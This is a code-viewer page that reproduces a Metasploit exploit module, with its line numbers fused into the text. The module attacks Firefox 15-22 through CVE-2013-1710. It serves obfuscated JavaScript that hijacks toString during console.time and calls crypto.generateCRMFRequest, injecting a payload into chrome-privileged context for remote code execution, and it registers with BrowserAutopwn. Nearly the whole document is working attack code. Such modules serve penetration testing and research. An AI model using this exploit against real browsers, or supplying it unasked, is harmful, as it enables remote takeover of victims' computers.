Path: blob/master/modules/exploits/multi/browser/firefox_tostring_console_injection.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/exploitation/jsobfu'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::BrowserExploitServer11include Msf::Exploit::Remote::BrowserAutopwn12include Msf::Exploit::Remote::FirefoxPrivilegeEscalation1314autopwn_info({15:ua_name => HttpClients::FF,16:ua_minver => "15.0",17:ua_maxver => "22.0",18:javascript => true,19:rank => ExcellentRanking20})2122def initialize(info = {})23super(24update_info(25info,26'Name' => 'Firefox toString console.time Privileged Javascript Injection',27'Description' => %q{28This exploit gains remote code execution on Firefox 15-22 by abusing two separate29Javascript-related vulnerabilities to ultimately inject malicious Javascript code30into a context running with chrome:// privileges.31},32'License' => MSF_LICENSE,33'Author' => [34'moz_bug_r_a4', # discovered CVE-2013-171035'Cody Crews', # discovered CVE-2013-167036'joev' # metasploit module37],38'DisclosureDate' => '2013-05-14',39'References' => [40['CVE', '2013-1710'] # chrome injection41],42'Targets' => [43[44'Universal (Javascript XPCOM Shell)', {45'Platform' => 'firefox',46'Arch' => ARCH_FIREFOX47}48],49[50'Native Payload', {51'Platform' => %w{java linux osx solaris win},52'Arch' => ARCH_ALL53}54]55],56'DefaultTarget' => 0,57'BrowserRequirements' => {58:source => 'script',59:ua_name => HttpClients::FF,60:ua_ver => lambda { |ver| ver.to_i.between?(15, 22) }61},62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)6970register_options([71OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])72])73end7475def on_request_exploit(cli, request, target_info)76send_response_html(cli, generate_html(target_info))77end7879def generate_html(target_info)80key = Rex::Text.rand_text_alpha(5 + rand(12))81opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin8283js = js_obfuscate %Q|84var opts = #{JSON.unparse(opts)};85var key = opts['#{key}'];86var y = {}, q = false;87y.constructor.prototype.toString=function() {88if (q) return;89q = true;90crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex");91return 5;92};93console.time(y);94|9596%Q|97<!doctype html>98<html>99<body>100<script>101#{js}102</script>103#{datastore['CONTENT']}104</body>105</html>106|107end108end109110111